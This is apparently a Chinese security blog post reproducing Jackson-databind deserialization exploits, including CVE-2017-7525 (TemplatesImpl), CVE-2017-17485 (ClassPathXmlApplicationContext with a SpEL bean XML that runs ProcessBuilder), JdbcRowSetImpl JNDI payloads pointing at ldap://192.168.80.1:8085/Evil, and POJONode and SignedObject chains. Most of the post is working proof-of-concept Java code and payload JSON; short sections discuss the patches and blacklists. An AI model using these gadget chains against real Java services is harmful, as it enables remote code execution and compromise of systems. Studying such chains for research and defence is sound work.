想不到2017的链子我还在复现
反序列化条件
达到以下任意一个条件,可以反序列化指定类:
- 开启了enableDefaultTyping()四个的任意一个设置,不过不同设置能反序列化的范围不同,trick也不同(不过范围最小的JAVA_LANG_OBJECT都够用)
- 使用了@JsonTypeInfo注解字段,注解值为
JsonTypeInfo.Id.CLASS
或者JsonTypeInfo. Id. MINIMAL_CLASS
反序列化json格式
当然,你也能观察到不同的指定方式,json的格式不同。比如enableDefaultTyping()设置后序列化出来的字符串,并没有@
符号,而是用[]
包裹了
- enableDefaultTyping对应json格式:
1 2
| {"age":6,"name":"mi1k7ea","object":["com.mi1k7ea.Hacker",{"skill":"Jackson"}]}
|
[]
夹住的第一个字符串是类名,后面如果直接加字符串,是调用构造构造函数(不加是调无参构造函数),加{}
是调用setter赋值
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
1
| {"age":6,"name":"drunkbaby","object":{"@class":"com.drunkbaby.Hacker","skill":"hiphop"}}
|
@JsonTypeInfo(use = JsonTypeInfo. Id. MINIMAL_CLASS)
1
| {"age":6,"name":"drunkbaby","object":{"@c":"com.drunkbaby.Hacker","skill":"hiphop"}}
|
反序列化入口
反序列化的入口为以下两个的一种:
- JsonFactory.createParser
- objectMapper.readValue
jackson漏洞版本可以触发任意函数的构造函数和setter,以此衍生出攻击面
JdbcRowSetImpl肯定能用
JdbcRowSetImpl
Id_Class版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public class JdbcRowSetImpl { public static class Id_Class_Test { @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) public Object object; } public static void main(String[] args) throws IOException { String jsonInput = aposToQuotes("{\"object\":{'@class':'com.sun.rowset.JdbcRowSetImpl',\n" + "'dataSourceName':'ldap://192.168.80.1:8085/Evil',\n" + "'autoCommit':0,\n" + "}\n" + "}"); System.out.printf(jsonInput); ObjectMapper mapper = new ObjectMapper(); try { JdbcRowSetImpl.Id_Class_Test test = mapper.readValue(jsonInput, JdbcRowSetImpl.Id_Class_Test.class); } catch (Exception e) { e.printStackTrace(); } } public static String aposToQuotes(String json){ return json.replace("'","\""); } }
|
enableDefaultTyping版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public class JdbcRowSetImpl { public static class enableDefaultTyping_Test { public Object object; } public static void main(String[] args) throws IOException { String jsonInput = aposToQuotes("{\"object\":['com.sun.rowset.JdbcRowSetImpl',\n" + "{\n" + "'dataSourceName':'ldap://192.168.80.1:8085/Evil',\n" + "'autoCommit':0,\n" + "}\n" + "]\n" + "}"); System.out.printf(jsonInput); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { JdbcRowSetImpl.enableDefaultTyping_Test test = mapper.readValue(jsonInput, JdbcRowSetImpl.enableDefaultTyping_Test.class); } catch (Exception e) { e.printStackTrace(); } } public static String aposToQuotes(String json){ return json.replace("'","\""); } }
|
CVE-2017-7525 TemplatesImpl链
和fastjson不同的是,fastjson是直接指定传入的类,而jackson,是指定Object字段为恶意类
影响版本
Jackson 2.6系列 < 2.6.7.1
Jackson 2.7系列 < 2.7.9.1
Jackson 2.8系列 < 2.8.8.1
jdk<=7u21||8u20
pom.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.7.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.7.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.7.3</version>
|
enableDefaultTyping POC
Test类:
1 2 3
| public class Test { public Object object; }
|
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public class jackson_TemplatesImpl { public static void main(String[] args) throws IOException { String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class"); String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + "{\n" + "'transletBytecodes':['"+exp+"'],\n" + "'transletName':'test',\n" + "'outputProperties':{}\n" + "}\n" + "]\n" + "}"); System.out.printf(jsonInput); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); Test test; try { test = mapper.readValue(jsonInput, Test.class); } catch (Exception e) { e.printStackTrace(); } }
public static String aposToQuotes(String json){ return json.replace("'","\""); }
public static String readClassStr(String cls) throws IOException { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class")); return Base64.encode(code1); } }
|
怎么调用的getter?为什么我的case调用不了?妈的,分析了两天,不知道哪种情况会调用到FieldProperty.deserializeAndSet ,哪种情况会调用到setterlessProperty.deserializeAndSet。不管了,反正是抄poc。他妈我写的case也没有setter,就是要跑到FieldProperty.deserializeAndSet内反射赋值
不管了,见版本直接打
如果有知道原因的,QQ+1958304602 解答V9.9喝蜜雪冰城
其他的就是调setter赋值了,注意jackson能调用私有的setter
有没有注意到我们并没有设置一般都会设置的_tfactory
在CC中我们不设置,是因为readObject帮我们设置了
在JDK低版本用不到_tfactory
,所以不设置也没问题
在JDK>7U21||>8u20的情况下,不设置_tfactory
defineTransletClasses会报错
区别如下:
左为JDK8U65,右为JDK7U21
JsonTypeInfo.Id.CLASS POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package org.exploit.third.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo; import com.fasterxml.jackson.databind.ObjectMapper; import com.unboundid.util.Base64;
import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths;
public class Id_MINIMAL_Class_TemplatesImpl { public static class Id_Class_Test { @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) public Object object; } public static void main(String[] args) throws IOException { String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class"); String jsonInput = aposToQuotes("{\"object\":{'@c':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + "'transletBytecodes':['"+exp+"'],\n" + "'transletName':'test',\n" + "'outputProperties':{}\n" + "}\n" + "}"); System.out.printf(jsonInput); ObjectMapper mapper = new ObjectMapper(); try { Id_Class_Test test = mapper.readValue(jsonInput, Id_Class_Test.class); } catch (Exception e) { e.printStackTrace(); } }
public static String aposToQuotes(String json){ return json.replace("'","\""); }
public static String readClassStr(String cls) throws IOException { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class")); return Base64.encode(code1); } }
|
JsonTypeInfo.Id.MIMIMAL_CLASS POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package org.exploit.third.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo; import com.fasterxml.jackson.databind.ObjectMapper; import com.unboundid.util.Base64;
import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths;
public class Id_MINIMAL_Class_TemplatesImpl { public static class Id_Class_Test { @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) public Object object; } public static void main(String[] args) throws IOException { String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class"); String jsonInput = aposToQuotes("{\"object\":{'@c':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + "'transletBytecodes':['"+exp+"'],\n" + "'transletName':'test',\n" + "'outputProperties':{}\n" + "}\n" + "}"); System.out.printf(jsonInput); ObjectMapper mapper = new ObjectMapper(); try { Id_Class_Test test = mapper.readValue(jsonInput, Id_Class_Test.class); } catch (Exception e) { e.printStackTrace(); } }
public static String aposToQuotes(String json){ return json.replace("'","\""); }
public static String readClassStr(String cls) throws IOException { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class")); return Base64.encode(code1); } }
|
fastjson跑不了这个链,因为fastjson对于getOutputProperties这种getter是不会调用的,返回值不满足要求
修复
pom.xml修改jackson-databind版本至2.7.9.1
1 2 3 4
| <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.7.9.1</version>
|
再次运行报Illegal type to deserialize: prevented for security reasons
错误
加了checkIllegalTypes黑名单验证
包括以下类,TemplatesImpl被过滤
CVE-2017-17485 ClassPathXmlApplicationContext链
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
jdk无版本限制
此漏洞为jackson打spring,需要点上spring的依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>5.3.28</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-expression</artifactId> <version>5.3.28</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.3.28</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.28</version> </dependency>
|
spEL表达式注入:
https://godownio.github.io/2024/10/14/spel-biao-da-shi-zhu-ru/
默认singleton模式下,ClassPathXmlApplicationContext加载xml资源,并完成实例化和调用setter传参。这个xml资源可以是http路径。(无需getBean就能触发整个创建Bean的流程
1 2 3
| public static void main(String[] args) { ApplicationContext applicationContext=new ClassPathXmlApplicationContext("http://127.0.0.1:8888/spel.xml"); }
|
spel.xml内的bean需要先创建实例,再执行spEL表达式,所以得找一个能new,然后执行命令的方式,Runtime new不了
ProcesserBuilder就很合适:
1 2
| ProcessBuilder pb = new ProcessBuilder("command","param..."); Process pro2 = pb.start();
|
弹计算器:
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg name="command" value="calc"/> <property name="whatever" value="#{pb.start()}"/> </bean> </beans>
|
jackson能调用有参构造函数,enableDefaultTyping POC:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class PoC { public static void main(String[] args) { String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:8888/spel.xml\"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { mapper.readValue(payload, Object.class); } catch (IOException e) { e.printStackTrace(); } } }
|
修复
https://github.com/FasterXML/jackson-databind/commit/2235894210c75f624a3d0cd60bfb0434a20a18bf
换成 jackson-databind-2.7.9.2版本的 jar 试试,会报错,显示由于安全原因禁止了该非法类的反序列化操作:
黑名单位于:
1
| com.fasterxml.jackson.databind.jsontype.impl.SubTypeValidator
|
并没有看到黑名单类里面有我们利用的这个类
再往下看,这里会把所有 org.springframe
开头的类名做处理
先进行黑名单过滤,发现类名不在黑名单后再判断是否是以 org.springframe
开头的类名,是的话循环遍历目标类的父类是否为 AbstractPointcutAdviso
或 AbstractApplicationContext
,是的话跳出循环然后抛出异常:
而我们的利用类其继承关系是这样的:
1 2 3 4 5
| …->AbstractApplicationContext-> AbstractRefreshableApplicationContext-> AbstractRefreshableConfigApplicationContext-> AbstractXmlApplicationContext-> ClassPathXmlApplicationContext
|
可以看到,ClassPathXmlApplicationContext 类是继承自 AbstractApplicationContext 类的,而该类会被过滤掉,从而没办法成功绕过利用。
打依赖包通杀
此处通杀指打依赖包,不是readValue作为入口
jackson-databind>=2.13.3
jackson-databind core annotations三包版本需匹配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.13.3</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.13.3</version> </dependency>
|
POJONode链
入口点位于com.fasterxml.jackson.databind.node下POJONode.toString
实际上调用的是父类BaseJsonNode.toString
nodeToString调用到writeValueAsString,会触发getter
但是在序列化过程中,ObjectOutputStream.writeObject0会判断类是否重写了writeReplace方法
BaseJsonNode重写了writeReplace方法
在调用这个方法时发生了异常,把这个方法删了可以顺利序列化
序列化当然不会影响反序列化的进程,直接重写
利用链:
1 2 3 4
| BadAttributeValueExpException.readObject -> POJONode.toString -> InternalNodeMapper,nodeToString -> JSONMapper.writeValueAsString -> getter
|
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public class POJONode_TemplatesImpl { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } POJONode pojoNode = new POJONode(templatesClass); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, pojoNode); serialize(badAttributeValueExpException); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
SignedObject链
打二次反序列化,用于绕过自定义了POJONode对入口类的筛查,循环嵌套过滤的不能绕过
SignedObject.getObject能反序列化this.content:
content能在构造函数赋值
SignedObject装配恶意类,然后找能触发getter的地方
利用链:
1 2 3 4 5 6 7 8 9 10
| BadAttributeValueExpException.readObject -> POJONode.toString -> InternalNodeMapper,nodeToString -> JSONMapper.writeValueAsString -> SignedObject.getObject -> BadAttributeValueExpException.readObject -> POJONode.toString -> InternalNodeMapper,nodeToString -> JSONMapper.writeValueAsString -> TemplatesImpl.getOutputProperties
|
参考链接:
https://xz.aliyun.com/t/12966?time__1311=GqGxuD9QLxlr%3DiQGkDRQDcWLmxY5q4Qox#toc-26